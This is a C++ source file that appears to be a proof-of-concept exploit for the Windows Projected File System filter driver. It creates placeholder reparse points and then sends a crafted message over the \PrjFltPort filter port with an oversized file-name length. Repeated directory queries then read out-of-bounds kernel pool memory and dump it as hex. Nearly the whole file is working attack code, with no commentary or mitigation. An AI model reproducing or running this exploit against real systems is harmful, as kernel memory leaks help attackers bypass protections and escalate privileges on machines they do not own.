

#include <iostream>
#include <Windows.h>
#include <fltuser.h>
#include <projectedfslib.h>
#pragma comment(lib, "projectedfslib.lib")
#pragma comment(lib, "FltLib.lib")

#include "ntdll.h"
#pragma comment(lib, "ntdll")

PWSTR gProcessPath = NULL;
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;

DWORD CompleteCommandHandler(int CommandId);

struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
{
	GUID virtualizationInstanceID;
	unsigned int Version;
	USHORT VolumeLength;
	WCHAR szVolume[256];
};


void PrintInstanceId() {
	PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
	HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	OLECHAR* guidString;
	StringFromCLSID(InstanceInfo.InstanceID, &guidString);
	wprintf(L"InstanceId: %s\n", guidString);


	LPCOLESTR lpsz = guidString;
	GUID InstanceId;
	hr = CLSIDFromString(lpsz, &InstanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	CoTaskMemFree(guidString);
}

void CreateVirtualizationRoot() {

	HRESULT hr;
	const wchar_t* rootName = LR"(C:\virtRoot)";

	RemoveDirectoryW(rootName);

	if (!CreateDirectoryW(rootName, nullptr))
	{
		DWORD gle = GetLastError();
		if (gle != ERROR_ALREADY_EXISTS) {
			hr = HRESULT_FROM_WIN32(gle);
			wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
		}

		return;
	}

	GUID instanceId;

	hr = CoCreateGuid(&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
		return;
	}

	hr = PrjMarkDirectoryAsPlaceholder(rootName,
		nullptr,
		nullptr,
		&instanceId);
	if (FAILED(hr))
	{
		wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
		return;
	}

}

HRESULT MyStartEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	//printf("MyStartEnumCallback\n");
	return S_OK;
}

HRESULT MyEndEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId
)
{
	//printf("MyEndEnumCallback\n");
	return S_OK;
}

HRESULT MyGetEnumCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	const GUID* enumerationId,
	PCWSTR searchExpression,
	PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
)
{
	CompleteCommandHandler(callbackData->CommandId);
	return S_OK;
}

HRESULT MyGetPlaceholderInfoCallback(
	const PRJ_CALLBACK_DATA* callbackData
)
{
	return S_OK;
}

HRESULT MyGetFileDataCallback(
	const PRJ_CALLBACK_DATA* callbackData,
	UINT64 byteOffset,
	UINT32 length
)
{
	return S_OK;
}

void StartVirtualizatioInstance() {
	PRJ_CALLBACKS callbackTable;

	// Supply required callbacks.
	callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback;
	callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback;
	callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback;
	callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback;
	callbackTable.GetFileDataCallback = MyGetFileDataCallback;

	// The rest of the callbacks are optional.
	callbackTable.QueryFileNameCallback = nullptr;
	callbackTable.NotificationCallback = nullptr;
	callbackTable.CancelCommandCallback = nullptr;

	HRESULT hr;
	const wchar_t* rootName = LR"(C:\virtRoot)";

	PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
	hr = PrjStartVirtualizing(rootName,
		&callbackTable,
		nullptr,
		nullptr,
		&instanceHandle);
	if (FAILED(hr))
	{
		wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
		return;
	}

	gInstanceHandle = instanceHandle;
}


struct _PRJ_MSG_OUT_HEADER
{
	int MessageType;
	int Size;
	int Status;
	char Data[256];
};


struct _PRJ_REPARSE_DATA
{
	int Version;
	int dwFlags;
	GUID virtualizationInstanceID;
	PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
	unsigned __int16 PlaceHolderRelPathLength;
	WCHAR szPlaceHolderRelPathBuffer[1];

};

struct _PRJ_REPARSE_DATA_BUFFER
{
	ULONG ReparseTag;
	USHORT ReparseDataLength;
	USHORT Reserved;
	_PRJ_REPARSE_DATA ReparseData;
};


HRESULT CreateFileWithReparsePoint(
	PHANDLE pFileHandle,
	LPCWSTR lpcwFileName,
	_PRJ_REPARSE_DATA* ReparseData,
	USHORT ReparseDataLength,
	int Tag,
	bool bDir) {

	size_t ReparseDataLength64; // rbp
	const WCHAR* ErrorMessage; // rdi
	USHORT BufferLength; // bx
	ULONG hr; // ebx MAPDST
	_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST
	int LastError; // eax
	ULONG Size; // eax
	size_t Length; // rax

	*pFileHandle = NULL;

	ReparseDataLength64 = ReparseDataLength;
	ErrorMessage = 0i64;
	BufferLength = ReparseDataLength + 8;
	if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u
		|| ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A)
	{
		hr = 0x80070057;                            // E_INVALIDARG
		goto LABEL_12;
	}
	ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8));
	if (!ReparseDataBuffer)
	{
		hr = 0x8007000E;                            // E_OUTOFMEMORY
	LABEL_12:
		Size = 2;

		return hr;
	}
	ReparseDataBuffer->ReparseTag = Tag;
	ReparseDataBuffer->ReparseDataLength = ReparseDataLength64;
	memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength64);

	//HANDLE  FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);

	UNICODE_STRING usFileName = { 0 };

	RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
	OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
	ObjectAttributes.Length = 0x30;
	ObjectAttributes.ObjectName = &usFileName;

	ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
	ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT;

	if (bDir) {
		CreateOptions = CreateOptions | FILE_DIRECTORY_FILE;
	}

	IO_STATUS_BLOCK IoStatusBlock = { 0 };
	HANDLE  FileHandle = NULL;
	int Status = NtCreateFile(
		&FileHandle,
		FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
		&ObjectAttributes,
		&IoStatusBlock,
		0i64,
		FileAttributes,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
		FILE_OPEN_IF,
		CreateOptions,
		NULL,
		0);

	if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT
	{
		hr = 0;
	}
	else
	{
		LastError = GetLastError();
		hr = LastError;
		if (LastError > 0)
			hr = (unsigned __int16)LastError | 0x80070000;
		ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT";
	}
	free(ReparseDataBuffer);
	if (hr)
		goto LABEL_12;

	*pFileHandle = FileHandle;

	return hr;

}

_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) {
	USHORT RelPathLength = MAX_PATH;
	USHORT Length = RelPathLength + 0x11A;
	_PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length);

	ReparseData->Version = 2;
	ReparseData->PlaceHolderRelPathLength = RelPathLength;

	if (RelPathLength) {
		memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength);
	}

	*pLength = Length;
	return ReparseData;
}


void PrintOutput(char* buf, int Size) {

	//printf("\n");
	for (int i = 0; i < Size; i++)
	{
		if (i != 0 && i % 8 == 0 && i % 16 != 0) {
			printf("-");

		}
		else if (i > 0)
		{
			printf(" ");
		}


		if (i % 16 == 0 && i != 0) {
			printf("\n");
		}

		printf("%02x", (unsigned)(unsigned char)buf[i]);

	}
	printf("\n");
}

struct _POOL_HEADER
{
	union
	{
		struct
		{
			USHORT PreviousSize : 8;                                          //0x0
			USHORT PoolIndex : 8;                                             //0x0
			USHORT BlockSize : 8;                                             //0x2
			USHORT PoolType : 8;                                              //0x2
		};
		ULONG Ulong1;                                                       //0x0
	};
	ULONG PoolTag;                                                          //0x4
	union
	{
		struct _EPROCESS* ProcessBilled;                                    //0x8
		struct
		{
			USHORT AllocatorBackTraceIndex;                                 //0x8
			USHORT PoolTagHash;                                             //0xa
		};
	};
};

void PrintPoolHeader(_POOL_HEADER* Header) {
	if (Header->PoolTag != 0) {

		char szTag[0x10] = { 0 };
		ULONG size = Header->BlockSize * 0x10;
		memcpy(szTag, &Header->PoolTag, 4);

		printf("PoolTag: %s, size: 0x%x\n", szTag, size);
	}

}

typedef struct _FILE_ID_EXTD_DIR_INFORMATION {
	ULONG         NextEntryOffset;
	ULONG         FileIndex;
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	LARGE_INTEGER EndOfFile;
	LARGE_INTEGER AllocationSize;
	ULONG         FileAttributes;
	ULONG         FileNameLength;
	ULONG         EaSize;
	ULONG         ReparsePointTag;
	FILE_ID_128   FileId;
	WCHAR         FileName[0x10/2];
} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION;

typedef struct _FILE_DIRECTORY_INFORMATION
{
	ULONG NextEntryOffset;
	ULONG FileIndex;
	LARGE_INTEGER CreationTime;
	LARGE_INTEGER LastAccessTime;
	LARGE_INTEGER LastWriteTime;
	LARGE_INTEGER ChangeTime;
	LARGE_INTEGER EndOfFile;
	LARGE_INTEGER AllocationSize;
	ULONG FileAttributes;
	ULONG FileNameLength;
	WCHAR FileName[1];
}FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION;


void NpQueryDirectory(HANDLE hRoot, FILE_INFORMATION_CLASS FileInfoClass) {
	DWORD   OutputBufferLength = 0x11100;
	PVOID   OutputBuffer = malloc(OutputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);

	UNICODE_STRING FileName = { 0 };
	PCWSTR lpcwName = L"3*";
	RtlInitUnicodeString(&FileName, (PWSTR)lpcwName);

	while (1) {

		memset(OutputBuffer, 'B', OutputBufferLength);
		IO_STATUS_BLOCK IoStatusBlock = { 0 };
		NTSTATUS Status = NtQueryDirectoryFile(hRoot, NULL, NULL, NULL, &IoStatusBlock, OutputBuffer, OutputBufferLength, FileInfoClass, true, &FileName, false);
		//printf("NpQueryDirectory Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);

		if (IoStatusBlock.Information == OutputBufferLength)
		{

			ULONG EntrySize = sizeof(FILE_ID_EXTD_DIR_INFORMATION);
			ULONG FileNameOffset = ULONG(&(((PFILE_ID_EXTD_DIR_INFORMATION)0)->FileName));
			ULONG BufferOffset = EntrySize + FileNameOffset;
			ULONG MaxEntryBuffer = 0x11000;

			PFILE_DIRECTORY_INFORMATION pDirInfo = (PFILE_DIRECTORY_INFORMATION)((char*)OutputBuffer + MaxEntryBuffer - BufferOffset);
			char* pLeakedData = (char*)(pDirInfo->FileName);

			//PrintPoolHeader((_POOL_HEADER*)(pLeakedData));
			PrintOutput(pLeakedData, 0x100);
			printf("\nPress enter key to continue . . .\n");
			getchar();
		}
		
	}
}

struct _PRJ_MSG_IN_HEADER
{
	int MessageType;
	int InputBufferSize;
};

struct _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA
{
	ULONG DataSize;
	int _4;
	GUID virtualizationInstanceID;
	int Tag;
	char _1c[60];
	ULONG CommandId;
	int RetStatus;
	ULONG ResultLength;
	char ResultBuffer[sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2 + 0x11100];
};

struct _PRJ_MSG_COMLETE_COMMAND_HANDLER
{
	_PRJ_MSG_IN_HEADER Header;
	_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA Data;
};

DWORD WINAPI CompleteCommandHandler(int CommandId) {

	static HANDLE hPort = NULL;
	static GUID InstanceId;

	if (hPort == NULL) {
		PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
		HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
		InstanceId = InstanceInfo.InstanceID;


		//PrjStopVirtualizing(gInstanceHandle);

		_PRJ_CONNECTION_CONTEXT Context;
		Context.VolumeLength = 0x100;
		Context.Version = 1;
		Context.virtualizationInstanceID = InstanceId;
		wcscpy_s(Context.szVolume, L"c:\\");
		ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);

		HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);
		//HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort);

		printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);

	}

	static DWORD   InputBufferLength = 0x20000;
	static PVOID   InputBuffer = malloc(InputBufferLength);

	static DWORD   OutputBufferLength = 0x20000;
	static PVOID   OutputBuffer = malloc(OutputBufferLength);

	memset(InputBuffer, 0, InputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);

	DWORD BytesReturned = 0;

	_PRJ_MSG_COMLETE_COMMAND_HANDLER Message = { 0 };

	memset(&Message, 'A', sizeof(Message));

	Message.Header.MessageType = 5;
	Message.Header.InputBufferSize = sizeof(Message);
	Message.Data.DataSize = sizeof(_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA);

	Message.Data.Tag = 0x9000001C;
	Message.Data.virtualizationInstanceID = InstanceId;
	Message.Data.CommandId = CommandId;
	Message.Data.RetStatus = 0;
	Message.Data.ResultLength = sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2;



	PFILE_ID_EXTD_DIR_INFORMATION FileInfo1 = (PFILE_ID_EXTD_DIR_INFORMATION)Message.Data.ResultBuffer;
	FileInfo1->NextEntryOffset = 0;
	FileInfo1->FileNameLength = 0x10;
	FileInfo1->FileName[0] = L'.';

	PFILE_ID_EXTD_DIR_INFORMATION FileInfo2 = (PFILE_ID_EXTD_DIR_INFORMATION)(Message.Data.ResultBuffer + sizeof(FILE_ID_EXTD_DIR_INFORMATION)) ;
	FileInfo2->NextEntryOffset = 0;
	FileInfo2->FileNameLength = 0x15000;
	FileInfo2->FileName[0] = L'.';

	memcpy(InputBuffer, &Message, sizeof(Message));
	InputBufferLength = Message.Header.InputBufferSize;

	HRESULT hr = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);


	//printf("FilterSendMessage hResult:%x\n", hr);

	return 0;
}

void PrjCompleteCommandHandler()
{
	CreateVirtualizationRoot();
	StartVirtualizatioInstance();
	PrintInstanceId();

	//CloseFltPortHandle();


	USHORT Length = 0;
	HANDLE  DirFileHandle = NULL;
	HANDLE  FileHandle = NULL;
	_PRJ_REPARSE_DATA* ReparseData = NULL;
	ReparseData = CreateReparseData(L"dd", 0x10, &Length);
	HRESULT hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\virtroot\\dd", ReparseData, Length, 0x9000001C, true);
	CloseHandle(DirFileHandle);


	ReparseData = CreateReparseData(L"dd\\3", 0x10, &Length);
	hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\3", ReparseData, Length, 0x9000001C, false);
	CloseHandle(FileHandle);

	ReparseData = CreateReparseData(L"dd\\4", 0x10, &Length);
	hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\4", ReparseData, Length, 0x9000001C, true);
	CloseHandle(FileHandle);

	FILE_INFORMATION_CLASS FileInfoClass = FileDirectoryInformation;
	FileHandle = CreateFileW(L"c:\\virtroot\\dd", FILE_READ_DATA, 3u, 0i64, 3u, 0x2200000u, 0i64);
	//PatchLib();

	NpQueryDirectory(FileHandle, FileInfoClass);


	CloseHandle(FileHandle);

	getchar();
}


int wmain(int argc, WCHAR* argv[])
{
	PrjCompleteCommandHandler();
	//CompleteCommandHandler(0);
	return 0;
}